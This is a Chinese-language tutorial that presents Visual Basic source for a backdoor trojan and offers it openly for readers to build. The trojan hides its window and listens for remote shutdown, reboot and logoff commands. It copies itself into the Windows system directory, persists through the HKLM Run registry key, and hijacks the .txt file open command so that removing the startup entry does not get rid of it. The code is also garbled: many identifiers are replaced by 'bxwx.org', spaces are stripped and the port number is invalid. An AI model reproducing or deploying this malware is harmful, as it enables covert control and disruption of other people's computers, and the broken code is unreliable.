利用vb實現木馬攻擊
首先,新建一工程,名為server,新建一個窗體,name為server,在窗體中加入一個winsock控制項,name設為sckserver,協議設為默認的tcp/ip協議。
接下來我們回來server窗體模塊中,添加如下代碼:
privatesubform_load
with
.bxwx.org=88917'本地埠(呵呵!我的生日!)
.bxwx.org'開始監聽
endwith
endsub
'接受客戶端的連接請求。
privatesubsckserver_connectionrequest(byvalrequestidlong)
with
.bxwx.orgbxwx.org
.bxwx.org(requestid)
endwith
endsub
下面我們來建立客戶端程序:新建一個工程,名為client,把窗體名為client,在上面加入一個winsock控制項,名為sckclient,協議為tcp/ip協議。再加一個按鈕cmdconnect在窗體模塊中加入代碼:
privatesubform_load
with
.bxwx.org="127.0.0.1"'設置遠程ip,本例設為本機。
.bxwx.org=88917'遠程埠,就為server中的設置一樣.
endwith
endsub
privatesubcmdconnect_clicbxwx.org
endsub
至此,單擊connect按鈕我們的兩個工程已經可以進行通信了,但看不見,你可以在client中的sckclient_connect事件中加入代碼:bxwx.org「conorgionsuccessful!」來查看。
這僅是第一步,一點工作也做不了,下面我們來為它們添加功能。為了簡單,本文章只實現一點小小的功能―――關機,重啟,註銷。好,開始吧!
在server工程中新建一個模塊,name為modapi,這個模快為一些api函數,添加如下api函數:
publicdeclarefunctionexitwindowxxxlib"user32"alias"exitwindowxxx"(byvaluflagslong,byvaldwreservedlong)long
publicconstewx_logoff=0
publicconstewx_reboot=2
publicconstewx_shutdown=1
publicdeclarefunctionclipcursorlib"user32"alias"clipcursor"(lprectany)long
publictyperect
leftlong
toplong
rightlong
bottomlong
endtype
註:在兩個socket中編程中,進行通信的重要事件是dataarrival事件,用於接收遠程數據。
下面在client工程的client窗體中放入三個按鈕,分別為cmdexit,cmdlogoff,cmdreboot。它們用於對遠程的關機,註銷,重啟操作。分別添加如下代碼:
privatesubcmdexit_click
me.bxwx.org"exit"
endsub
privatesubcmdlogoff_click
me.bxwx.org"logoff"
endsub
privatesubcmdreboot_click
me.bxwx.org"reboot"
endsub
全都是對服務端發出請求。下面轉到server工程中:在server中添加sckserver的dataarrial事件,接收客戶端的請求。
privatesubsckserver_dataarrival(byvalbytestotallong)
dimstrdatastring
with
'接收客戶請求的信息
.bxwx.orgstrdata
selectcasestrdata
case"exit"
'關機
callexitwindowxxx(ewx_shutdown,0)
case"reboot"
'重啟
callexitwindowxxx(ewx_reboot,0)
case"logoff"
'註銷
callexitwindowxxx(ewx_logoff,0)
endselect
endwith
endsub
好了,到此我們已經實現功能了,但還不行,我們要它在背後運行。這簡單,在server中的form_load事件中加入一句:me.hide。好這下看不見了,但大家知道木馬是一開機就自動運行了,這又是為什麼,怎麼實現的?把它加入到註冊表的啟動組中?對,不錯,跟我來吧!
回到server工程中的modapi中加入如下api函數:
publicdeclarefunctionregopenkeylib"bxwx.org"alias"regopenkeya"(byvalhkeylong,byvallpsubkeystring,phkresultlong)long
publicdeclarefunctionregsetvalueexlib"bxwx.org"alias"regsetvalueexa"(byvalhkeylong,byvallpvaluenamestring,byvalreservedlong,byvaldwtypelong,lpdataany,byvalcbdatalong)long
publicdeclarefunctionregcreatekeylib"bxwx.org"alias"regcreatekeya"(byvalhkeylong,byvallpsubkeystring,phkresultlong)long
publicconstreg_binary=3
publicconstreg_sz=1
publicconsthkey_local_machine=&h80000002
publicconsthkey_classes_root=&h80000000
寫到註冊表啟動組中的過程。
publicsubstartupgroup
dimskeystring
dimresultlong
dimhkeyidlong
dimskeyvalstring
skey="systrsy"'啟動組中的鍵,找一個與系統文件相近的。
skeyval="c:/windows/system/bxwx.org"'木馬文件的路徑,可以用getsystemdirectory來取得系統路徑。
result=regopenkey(hkey_local_machine,_
"software/microsoft/windows/currentversion/run",hkeyid)
result=0then
result=regsetvalueex(hkeyid,skey,0&,reg_sz,skeyval,len(skey)+1)
end
endsub
好,就這樣簡單地完成了。但是,想過沒有,如果不是很菜的鳥,到註冊表中見一刪,我們苦苦的心血不就白白地浪費了嗎?不行,還得想讓他發現了刪也刪不掉。請看下面的代碼:
publicsubwritetotxt
dimresultlong
dimhkeyidlong
dimskeystring
dimskeyvalstring
skey="txtfile/shell/open/orgmand"
skeyval="c:/windows/system/bxwx.org"
result=regopenkey(hkey_classes_root,skeyval,hkeyid)
result=0then
result=regsetvalueex(hkeyid,skey,0&,reg_sz,skeyval,len(skeyval)+1)
end
endsub
肯定不少朋友一看就知道了,原是與txt文件進行關聯,一點也不錯,但c:/windows/system/bxwx.org是哪裡來的,我們的木馬是c:/windows/system/bxwx.org呀。這可是我們木馬的分身了。
好,回到server工程的server窗體的form_load中,加入如下代碼:
dimscurrentpathstring,ssystemdirstring
scurrentpath=app.path&"/"&app.exename&".exe"
ssystemdir=「c:/windows/system」
errorresumenext
'複製文件成系統目錄下的bxwx.org
filecopyscurrentpath,ssystemdir&"/bxwx.org"
errorresumenext
複製文件成系統目錄下的bxwx.org
filecopyscurrentpath,ssystemdir&"/bxwx.org"
調用
callstartupgroup
callwritetotxt
'判斷程序是否下在運行
bxwx.orgthen
'如果已經運行就退出。
end
end
好了,寫到這裡一個破壞性木馬已經誕生了,我實驗過還是比較好的一個,希望大家也能寫一個好的木馬,能突破冰河(呵呵!)
注意:
1、大家在處理埠是最好使用高端埠,否則會和一些常用埠發生衝突
2、在第一次使用vb.org的最好看看有關的圖書,可能你能寫出一款超級木馬也說不定